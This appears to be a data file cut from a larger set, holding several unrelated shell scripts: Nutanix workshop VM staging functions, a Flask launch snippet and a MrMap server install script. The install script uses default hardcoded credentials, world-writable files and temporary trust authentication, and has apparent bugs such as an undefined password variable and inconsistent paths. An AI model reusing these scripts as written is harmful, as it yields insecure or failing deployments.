${ERAServerName}\"\n\n}\n\n\n#########################################################################################################################################\n# Routine to Create Era Bootcamp PreProvisioned MSSQL Server\n#########################################################################################################################################\n\nfunction deploy_mssql() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${MSSQL_SourceVM_Image} | wc --lines) == 0 )); then\n log \"Import ${MSSQL_SourceVM_Image} image from ${QCOW2_REPOS}...\"\n\n acli image.create ${MSSQL_SourceVM_Image1} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}era/SQLServer/${MSSQL_SourceVM_Image1}.qcow2\"\n acli image.create ${MSSQL_SourceVM_Image2} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}era/SQLServer/${MSSQL_SourceVM_Image2}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${MSSQL_SourceVM} import.\"\n fi\n\n for _user in \"${USERS[@]}\" ; do\n\n SourceVM=\"${_user}_${MSSQL_SourceVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=8192M num_cores_per_vcpu=1 num_vcpus=4\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${MSSQL_SourceVM_Image1}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${MSSQL_SourceVM_Image2}\"\n acli \"vm.nic_create ${SourceVM} network=${NW1_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"## ${SourceVM} Creation_COMPLETE ##\"\n\n done\n\n}\n\n#########################################################################################################################################\n# Routine to Create Era Bootcamp PreProvisioned MSSQL Server 2019\n#########################################################################################################################################\n\nfunction deploy_mssql_2019() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${MSSQL19_SourceVM_Image1} | wc --lines) == 0 )); then\n log \"Import ${MSSQL19_SourceVM_Image1} image from ${QCOW2_REPOS}...\"\n\n acli image.create ${MSSQL19_SourceVM_Image1} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${MSSQL19_SourceVM_Image1}.qcow2\"\n acli image.create ${MSSQL19_SourceVM_Image2} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${MSSQL19_SourceVM_Image2}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${MSSQL_SourceVM} import.\"\n fi\n\n #for _user in \"${USERS[@]}\" ; do\n\n #SourceVM=\"${_user}_${MSSQL19_SourceVM}\"\n SourceVM=\"${MSSQL19_SourceVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=8192M num_cores_per_vcpu=1 num_vcpus=4\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${MSSQL19_SourceVM_Image1}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${MSSQL19_SourceVM_Image2}\"\n acli \"vm.nic_create ${SourceVM} network=${NW1_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"## ${SourceVM} Creation_COMPLETE ##\"\n\n #done\n\n}\n\n\n\n#########################################################################################################################################\n# Routine to Create Era Bootcamp PreProvisioned Oracle Server\n#########################################################################################################################################\n\nfunction deploy_oracle_12c() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${Oracle_12c_SourceVM_BootImage} | wc --lines) == 0 )); then\n log \"Import ${Oracle_12c_SourceVM_BootImage} image from ${QCOW2_REPOS}...\"\n acli image.create ${Oracle_12c_SourceVM_BootImage} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_BootImage}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image1} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image1}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image2} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image2}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image3} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image3}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image4} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image4}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image5} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image5}.qcow2\"\n acli image.create ${Oracle_12c_SourceVM_Image6} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle12cSIHA/${Oracle_12c_SourceVM_Image6}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${Oracle_SourceVM} import.\"\n fi\n\n for _user in \"${USERS[@]}\" ; do\n\n SourceVM=\"${_user}_${Oracle_12c_SourceVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=4G num_cores_per_vcpu=2 num_vcpus=2\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_12c_SourceVM_BootImage}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_12c_SourceVM_Image1}\"\n acli \"vm.disk_create ${SourceVM}clone_from_image=${Oracle_12c_SourceVM_Image2}\"\n acli \"vm.disk_create ${SourceVM}clone_from_image=${Oracle_12c_SourceVM_Image3}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_12c_SourceVM_Image4}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_12c_SourceVM_Image5}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_12c_SourceVM_Image6}\"\n acli \"vm.nic_create ${SourceVM} network=${NW1_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"### ${SourceVM} Creation_COMPLETE ##\"\n\n done\n\n}\n\n#########################################################################################################################################\n# Routine to Upload Era Bootcamp Patch images for Oracle\n#########################################################################################################################################\n\nfunction deploy_oracle_19c() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${Oracle_19c_SourceVM_BootImage} | wc --lines) == 0 )); then\n log \"Import ${Oracle_19c_SourceVM_BootImage} image from ${QCOW2_REPOS}...\"\n acli image.create ${Oracle_19c_SourceVM_BootImage} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_BootImage}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image1} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image1}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image2} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image2}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image3} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image3}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image4} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image4}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image5} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image5}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image6} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image6}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image7} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image7}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image8} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image8}.qcow2\"\n acli image.create ${Oracle_19c_SourceVM_Image9} image_type=kDiskImage wait=true container=${STORAGE_ERA} source_url=\"${QCOW2_REPOS}era/oracle19cSIHA/${Oracle_19c_SourceVM_Image9}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${Oracle_19c_SourceVM_BootImage} import.\"\n fi\n\n for _user in \"${USERS[@]}\" ; do\n\n SourceVM=\"${_user}_${Oracle_19c_SourceVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=8G num_cores_per_vcpu=1 num_vcpus=2\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_BootImage}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image1}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image2}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image3}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image4}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image5}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image6}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image7}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image8}\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${Oracle_19c_SourceVM_Image9}\"\n acli \"vm.nic_create ${SourceVM} network=${NW1_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"### ${SourceVM} Creation_COMPLETE ##\"\n\n done\n\n}\n\n#########################################################################################################################################\n# Routine to Create Windows Tools VMs\n#########################################################################################################################################\n\nfunction deploy_windows_tools_vm() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${WindowsToolsVM_Image} | wc --lines) == 0 )); then\n log \"Import ${WindowsToolsVM_Image} image from ${QCOW2_REPOS}...\"\n\n acli image.create ${WindowsToolsVM_Image} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${WindowsToolsVM_Image}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${WindowsToolsVM_Image} import.\"\n fi\n\n for _user in \"${USERS[@]}\" ; do\n\n SourceVM=\"${_user}_${WindowsToolsVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=4096M num_cores_per_vcpu=1 num_vcpus=4\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${WindowsToolsVM_Image}\"\n acli \"vm.nic_create ${SourceVM} network=${NW2_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"## ${SourceVM} Creation_COMPLETE ##\"\n\n done\n\n}\n\n#########################################################################################################################################\n# Routine to Create CitrixGoldImage VMs\n#########################################################################################################################################\n\nfunction deploy_citrix_gold_image_vm() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${CitrixGoldImageVM_Image} | wc --lines) == 0 )); then\n log \"Import ${CitrixGoldImageVM_Image} image from ${QCOW2_REPOS}...\"\n\n acli image.create ${CitrixGoldImageVM_Image} image_type=kDiskImage wait=true container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}${CitrixGoldImageVM_Image}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${CitrixGoldImageVM_Image} import.\"\n fi\n\n #for _user in \"${USERS[@]}\" ; do\n\n SourceVM=\"${CitrixGoldImageVM}\"\n\n echo \"## ${SourceVM} Creation_INPROGRESS ##\"\n acli \"vm.create ${SourceVM} memory=4096M num_cores_per_vcpu=1 num_vcpus=4\"\n acli \"vm.disk_create ${SourceVM} clone_from_image=${CitrixGoldImageVM_Image}\"\n acli \"vm.nic_create ${SourceVM} network=${NW1_NAME}\"\n echo \"## ${SourceVM} - Powering On ##\"\n acli \"vm.on ${SourceVM}\"\n echo \"## ${SourceVM} Creation_COMPLETE ##\"\n\n #done\n\n}\n\n\n\n###################################################################################################################################################\n# Routine to deploy the Peer Management Center\n###################################################################################################################################################\n# MTM TODO When integrating with Nutanix scripts, need to change echo to log and put quotes around text after all acli commands\nfunction deploy_peer_mgmt_server() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${PeerMgmtServer} | wc --lines) == 0 )); then\n log \"Import ${PeerMgmtServer} image from ${QCOW2_REPOS}...\"\n acli image.create ${PeerMgmtServer} \\\n image_type=kDiskImage wait=true \\\n container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}peer/${PeerMgmtServer}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${PeerMgmtServer} import.\"\n fi\n echo \"Creating temp folder and applying perms...\"\n mkdir /home/nutanix/peer_staging/\n VMNAME=$1\n ### Get sysyprep config file ready ###\n echo \"${VMNAME} - Prepping sysprep config...\"\n wget http://10.42.194.11/workshop_staging/peer/unattend-pmc.xml -P /home/nutanix/peer_staging/\n mv /home/nutanix/peer_staging/unattend-pmc.xml /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n chmod 777 /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n sed -i \"s/.*<\\/ComputerName>/${VMNAME}<\\/ComputerName>/g\" /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n ### Deploy PMC Server ###\n echo \"${VMNAME} - Deploying VM...\"\n #log \"Create ${VMNAME} VM based on ${IMAGENAME} image\"\n acli \"uhura.vm.create_with_customize ${VMNAME} num_vcpus=2 num_cores_per_vcpu=2 memory=4G sysprep_config_path=file:///home/nutanix/peer_staging/unattend_${VMNAME}.xml\"\n acli \"vm.disk_create ${VMNAME} clone_from_image=${PeerMgmtServer}\"\n # MTM TODO replace net1 with appropriate variable\n acli \"vm.nic_create ${VMNAME} network=${NW1_NAME}\"\n #log \"Power on ${VMNAME} VM...\"\n echo \"${VMNAME} - Powering on...\"\n acli \"vm.on ${VMNAME}\"\n echo \"${VMNAME} - Deployed.\"\n}\n\n###################################################################################################################################################\n# Routine to deploy a Peer Agent\n###################################################################################################################################################\n# MTM TODO When integrating with Nutanix scripts, need to change echo to log and put quotes around text after all acli commands\nfunction deploy_peer_agent_server() {\n\n if (( $(source /etc/profile.d/nutanix_env.sh && acli image.list | grep ${PeerAgentServer} | wc --lines) == 0 )); then\n log \"Import ${PeerAgentServer} image from ${QCOW2_REPOS}...\"\n acli image.create ${PeerAgentServer} \\\n image_type=kDiskImage wait=true \\\n container=${STORAGE_IMAGES} source_url=\"${QCOW2_REPOS}peer/${PeerAgentServer}.qcow2\"\n else\n log \"Image found, assuming ready. Skipping ${PeerAgentServer} import.\"\n fi\n VMNAME=$1\n ### Get sysyprep config file ready ###\n echo \"${VMNAME} - Prepping sysprep config...\"\n wget http://10.42.194.11/workshop_staging/peer/unattend-agent.xml -P /home/nutanix/peer_staging/\n mv /home/nutanix/peer_staging/unattend-agent.xml /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n chmod 777 /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n sed -i \"s/.*<\\/ComputerName>/${VMNAME}<\\/ComputerName>/g\" /home/nutanix/peer_staging/unattend_${VMNAME}.xml\n ### Deploy Agent Server ###\n echo \"${VMNAME} - Deploying VM...\"\n #log \"Create ${VMNAME} VM based on ${IMAGENAME} image\"\n acli \"uhura.vm.create_with_customize ${VMNAME} num_vcpus=2 num_cores_per_vcpu=2 memory=4G sysprep_config_path=file:///home/nutanix/peer_staging/unattend_${VMNAME}.xml\"\n acli \"vm.disk_create ${VMNAME} clone_from_image=${PeerAgentServer}\"\n # MTM TODO replace net1 with appropriate variable\n acli \"vm.nic_create ${VMNAME} network=${NW1_NAME}\"\n #log \"Power on ${VMNAME} VM...\"\n echo \"${VMNAME} - Powering on...\"\n acli \"vm.on ${VMNAME}\"\n echo \"${VMNAME} - Deployed.\"\n}"} {"text": "export FLASK_APP=api\nexport FLASK_ENV=development\nflask run"} {"text": "# install(script) nginx + uwsgi + django + MrMap:\n#!/bin/bash\nmrmap_db_user=mrmap_db_user\nmrmap_db_pw=mrmap_db_pw\nhostname=127.0.0.1\nproxy=\"\" # format: proxy = \"http://192.168.56.1:8080\"\n\n# install required packages\napt-get update\napt-get install -y postgresql postgresql-client postgresql-server-dev-11 postgis redis-server libcurl4-openssl-dev libssl-dev virtualenv build-essential git python3-pip fcgiwrap cgi-mapserver apache2-utils curl gnupg2 ca-certificates lsb-release gettext\n\n# add nginx official mainline repo\necho \"deb http://nginx.org/packages/mainline/debian `lsb_release -cs` nginx\" \\\n | tee /etc/apt/sources.list.d/nginx.list\ncurl -fsSL https://nginx.org/keys/nginx_signing.key | apt-key add -\napt-key fingerprint ABF5BD827BD9BF62\napt-get update\napt-get install nginx\n\n# make python3 default\nupdate-alternatives --install /usr/bin/python python /usr/bin/python3.7 1\n\n#db setup\nsu - postgres -c \"psql -c \\\"CREATE USER $mrmap_db_user WITH ENCRYPTED PASSWORD '$mr';\\\"\"\nsu - postgres -c \"psql -c 'CREATE DATABASE \\\"MrMap\\\" OWNER $mrmap_db_user;'\"\n\n# temporarily set postgres to trust, needed to create postgis\nsed -i s/\"host all all 127.0.0.1\\/32 md5\"/\"host all all 127.0.0.1\\/32 trust\"/g /etc/postgresql/11/main/pg_hba.conf\n\n/etc/init.d/postgresql restart\n\n# MrMap setup, has to be done as postgres because of postgis extension\n\ngit clone https://github.com/mrmap-community/mrmap/ /opt/mrmap\n#python -m pip install --upgrade pip\npython -m pip install uwsgi flower\npython -m pip install -r /opt/MrMap/requirements.txt\npython /opt/mrmap/mrmap/manage.py migrate\npython /opt/mrmap/mrmap/manage.py collectstatic\n\n# changes to settings.py, set Django debug to false, set hostname, enable ssl\nsed -i s/\"DEBUG = True\"/\"DEBUG = False\"/g /opt/mrmap/mrmap/MrMap/sub_settings/django_settings.py\nsed -i s/\"HOST_NAME = \\\"127.0.0.1:8000\\\"\"/\"HOST_NAME = \\\"$hostname\\\"\"/g /opt/mrmap/mrmap/MrMap/sub_settings/dev_settings.py\nsed -i s/\"HTTP_OR_SSL = \\\"http:\\/\\/\\\"\"/\"HTTP_OR_SSL = \\\"https:\\/\\/\\\"\"/g /opt/mrmap/mrmap/MrMap/sub_settings/dev_settings.py\nsed -i s-\"HTTP_PROXY = \\\"\\\"\"-\"HTTP_PROXY = \\\"$proxy\\\"\"-g /opt/mrmap/mrmap/MrMap/settings.py\n# generate new secret key\nskey=`python /opt/MrMap/manage.py shell -c \"from django.core.management.utils import get_random_secret_key; print(get_random_secret_key())\"`\nsed -i '/^SECRET_KEY/d' /opt/mrmap/mrmap/MrMap/sub_settings/django_settings.py\nsed -i \"/# SECURITY WARNING: keep the secret key used in production secret\\!/a SECRET_KEY = '$skey'\" /opt/mrmap/mrmap/MrMap/sub_settings/django_settings.py\n# remove postgres trust, replace with mr map database user\nsed -i s/\"host all all 127.0.0.1\\/32 trust\"/\"host MrMap $mrmap_db_user 127.0.0.1\\/32 md5\"/g /etc/postgresql/11/main/pg_hba.conf\n\n/etc/init.d/postgresql restart\n\n\n# change settings.py to dedicated user\nsed -i s/\" 'USER': 'postgres',\"/\" 'USER': '$mrmap_db_user',\"/g /opt/mrmap/mrmap/MrMap/sub_settings/db_settings.py\n\nif ! grep -q \" 'PASSWORD': '$',\" /opt/mrmap/mrmap/MrMap/sub_settings/db_settings.py ;then\n\tsed -i \"/ 'USER': '$mrmap_db_user',/a \\ \\'PASSWORD': ',\" /opt/mrmap/mrmap/MrMap/sub_settings/db_settings.py\nfi\n\n# db setup done\n\n# create ssl cert, self signed for now\necho \" !!! ATTENTION !!!\n\ncreating a self signed cert, just smash enter and change the cert to a valid one afterwards\npublic: /etc/ssl/certs/nginx-selfsigned.crt\nprivate: /etc/ssl/private/nginx-selfsigned.key\n\n !!! ATTENTION !!!\"\nopenssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/nginx-selfsigned.key -out /etc/ssl/certs/nginx-selfsigned.crt\n\necho \"Generating Secure Diffie-Hellman for TLS it not already there, this may take a while\"\n#generate new one with 4096 bits for real production\nif [ ! -f /etc/ssl/certs/dhparams.pem ]; then\n openssl dhparam -out /etc/ssl/certs/dhparams.pem 2048\nfi\n\n# copy nginx config\ncp -a /opt/mrmap/mrmap/install/confs/mrmap_nginx /etc/nginx/conf.d/mrmap.conf\n# replace hostname in nginx config\nsed -i s/\" server_name 127.0.0.1;\"/\" server_name $hostname;\"/g /etc/nginx/conf.d/mrmap.conf\nsed -i s/\" server_name 127.0.0.1;\"/\" server_name $hostname;\"/g /etc/nginx/conf.d/mrmap.conf\n\n# disable server tokens, it not done already\nif ! grep -q \"server_tokens off;\" /etc/nginx/nginx.conf ;then\n sed -i \"/http {/a \\ \\server_tokens off;\" /etc/nginx/nginx.conf\nfi\nrm /etc/nginx/conf.d/default.conf\n\n# copy uwsgi ini\ncp -a /opt/mrmap/mrmap/install/confs/mrmap_uwsgi_ini /opt/mrmap/mrmap/MrMap/mrmap_uwsgi.ini\n\n# copy script to change database rights\ncp -a /opt/mrmap/mrmap/install/confs/change_db_rights /tmp/change_database_rights.psql\n\nsed -i s/\\$mrmap_db_user/$mrmap_db_user/g /tmp/change_database_rights.psql\n# execute\nsu - postgres -c \"psql -d 'MrMap' -f /tmp/change_database_rights.psql\"\n\n\n# copy uwsgi systemd config\ncp -a /opt/mrmap/mrmap/install/confs/mrmap_uwsgi_service /etc/systemd/system/uwsgi.service\n\n# start uwsgi and enable start on boot\nsystemctl start uwsgi\n#systemctl stop uwsgi\n#systemctl restart uwsgi\n#systemctl status celery\nsystemctl enable uwsgi\n\n# celery\n\nmkdir /var/log/celery/\nmkdir /var/run/celery/\nchown www-data:www-data /var/log/celery/\nchown www-data:www-data /var/run/celery/\n\n\n# copy celery environment file\ncp -a /opt/mrmap/install/confs/mrmap_celery_environment /etc/default/celery\n\n# copy celery service file\ncp -a /opt/mrmap/install/confs/mrmap_celery_service /etc/systemd/system/celery.service\n\n# start celery and enable start on boot\nsystemctl start celery\nsystemctl enable celery\n\n\n# copy celery helper service file\ncp -a /opt/mrmap/install/confs/mrmap_celery_helper_service /etc/systemd/system/celery-helper.service\nsystemctl enable celery-helper\n\n# copy celery flower statistics service file\ncp -a /opt/mrmap/install/confs/mrmap_celery_flower_service /etc/systemd/system/celery-flower.service\nsystemctl enable celery-flower\nsystemctl start celery-flower\n\n\nsystemctl daemon-reload\n\nif ! grep -q \"restartMrMap\" /etc/bash.bashrc ;then\necho \"alias \"restartMrMap\"=\\\"systemctl restart celery;systemctl restart uwsgi;systemctl restart celery-flower;/etc/init.d/nginx restart\\\"\" >> /etc/bash.bashrc\nfi\n\necho \"Enter password for basic auth for celery statistics, available under /flower, username is root for now\"\nhtpasswd -c /etc/nginx/.htpasswd root\n\n\nwhile true; do\n read -p \"Do you want to install Modsecurity and generate stronger Key Exchange Algorithm? \\n\nThis can take up to 1 hour, recommended for production!y/n? \\n\nYou can do this later with bash /opt/MrMap/install/modsecurity_and_stronger_DH.bash \" yn\n case $yn in\n [Yy]* )\n\t\t\t\tbash /opt/mrmap/install/modsecurity_and_stronger_DH.bash;\n break;;\n [Nn]* ) break;;\n * ) echo \"Please answer yes or no.\";;\n esac\ndone\necho \"Executing initial setup\"\npython /opt/mrmap/mrmap/manage.py setup\nchown -R www-data /opt/mrmap/mrmap/logs/\n\n/etc/init.d/nginx restart\nsystemctl restart uwsgi\nsystemctl restart celery\n\necho '\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmhyyyyhhhddmMMMMMMMMMMMMM\nMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmhso/:.`./`.oshdddhs++symMMMMMMMMM\nMMMMMMMMMMMMMMMMMMMMMMMMMMNmdyo+:-:/-.``````.sdmdhysoosmh++++oyNMMMMMM\nMMMMMMMMMMMMMMMMMMMNddyso++/```````````-....sNo++++++++oMo+++++oyMMMMM\nMMMMMMMMMMMMMMMmy+::++++++++.````````:+o++++dd+++++++++yNo+++++++oNMMM\nMMMMMMMMMMMMNho+++++++++++++.`.-/+sydNMMo+++sNyooosyhdmNs+++++++-.:mMM\nMMMMMMMMMMms+++::+++++++++ommNMMMNmddhy/+++++ohmmddhyhshyo+++++++.`:MM\nMMMMMMMMMo//++/``.``-+++++/yss+-.```://:+++++++:++++++syyyhso+++/.``sM\nMMMMMMMm/:::://:--.``-+++-```````./-.+++ooo:+hmmddho++++syyos++-``-..M\nMMMMMMN+--:/:/+/:/+/``.:/.```````--/+odNMMMNMMMMMMMMdo++++::/+++``.-.d\nMMMMMMy/++-:+++/.:/:.``````````````-yMMMMMMMMMMMMMMMMNs/+:```.oo`-+-.y\nMMMMMdos++++++..`/+++/:.```````````yMMMMMMMMMMMMMMMMMMMd+:.``.sM/-:.-s\nMMMMMhyyo+++++---.++++-:.`````````-MMMMMMMMMddMMMMMMMMMMMds+ohMM:..``y\nMMMMMyyys++++++++++++/-```````````dMMMMMMMMNo+ymMMMMMMMMMMMMMMm/````-d\nMMMMMyyyyo++++++++++/`````+-`````oMMMMMMMMNo++++shdNMMMMMMNho:``````+M\nMMMMMs+syyo+++++++++:`````Nh.``:yMMMMMMMMh++++++++.`.---.```` `````.NM\nMMMMMy//+yyo+++++++/``````+MMMMMMMMMMMms.`./+++++++`/-```` ````.dMM\nMMMMMN///+yys+++/.``--..```-ohdmmdhs/-``````-+++++:`/-` `:so ```-mMMM\nMMMMMMs/////oo+++.-:.``--::--```` `.///++:` `:oyyyy` `sMMMMM\nMMMMMMN+////////:---:.-++++++++++- +soo+//::--..`` -oyyyyyyy- mMMMMMM\nMMMMMMMN+///////:-````.++++++++++- :yyyyyyyyyyyyyyyyyyyyyyyyy+ sMMMMMM\nMMMMMMMMNo/////////:.``/+++++++++: `yyyyyyyyyyyyyyyyyyyyyyyyyy -MMMMMM\nMMMMMMMMMMd+//////////:--//+++++-` oyyyyyyyyyyyyy+-........--` mMMMMM\nMMMMMMMMMMMMds/////////////yysss:-- :yyyyyyyyyy+- .odddddddhhhhhmMMMMM\nMMMNNmMMNmo/:sMmhso++/////+yhhddhdN-`yyyyyyy+. -omMMMMMMMMMMMMMMMMMMMM\nNdy...+mhs.-.:NMdmNhydMMMMMMMMMMMMMo oyys/. -smMMMMMMMMMMMMMMMMMMMMMMM\nmhh:.+./yo.o-.hh::-:+yMMMMMMMMMMMMMm -/. :yNMMMMMMMMMMMMMMMMMMMMMMMMMM\nMhh+.os-::.y/.ohs.-dmMMMMMMMMMMMMMMM.`:yNMMMMNds+/::+hmMMMMMMMMMMMMMMM\nMdhy./hy/./hs.:hyo.mMMMMNddMMMMMMNmMmNMMMMMmh-..osss+--sNMMMMMMMMMMMMM\nMmhh--dhhydhh-.yhy/odmMmy//mMNdo/--+mMMMMMdhh+..hdhhhs..hMMMMMMMMMMMMM\nMNhh+-hNmmNhhsshs/:..+NNmNMNhhs..+..:dMMMMmhhy..+MNhy/.:mMMMMMMMMMMMMM\nMMdhhy/-:.-smhhh/....-hMMMMmhy+..yy:.-sNMMMhhh+..ss/-./yNMMMMMMMMMMMMM\nMMmhhh-..-..ydhy:.-/..oMMMMdhh:.-hhy/..+NMMdhhy...:+oymMMMMMMMMMMMMMMM\nMMNhhho..+/..ohh-.+s../NMMNhhy-./ho/-...:dMmhhy:.-ydNMMMMMMMMMMMMMMMMM\nMMMdhhy..:ho-./s..sh-.-dMMdhho....-/oyy:.-omhhh+../NMMMMMMMMMMMMMMMMMM\nMMMmhhh/.-hhs-...-hh+..sNMhhh/..:yhdhhhh/../hhhy..-dMMMMMMMMMMMMMMMMMM\nMMMMhhho..shyy+../hhy..-mmhhy...+mMMNdhhyo-:dhhy+osdMMMMMMMMMMMMMMMMMM\nMMMMdhhy..+dhhhsyhhhh:..shhho---hMMMMMmhhhhNMhhhhhmMMMMMMMMMMMMMMMMMMM\nMMMMmhhh/.-dNhhdmMhhh+--ohhhhhyhNMMMMMMNNMMMMMNMMMMMMMMMMMMMMMMMMMMMMM\nMMMMNhhho--yMMMMMMmhhhhhmmmdddmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMdhhhhhhMMMMMMNmdmmNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\nMMMMMNhhddmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM\n\n'\necho \"Congratulations, MrMap is installed on your system!\""} {"text": "0\n#!/bin/sh\n\nif [ \"$1\" = \"\" ]; then\n 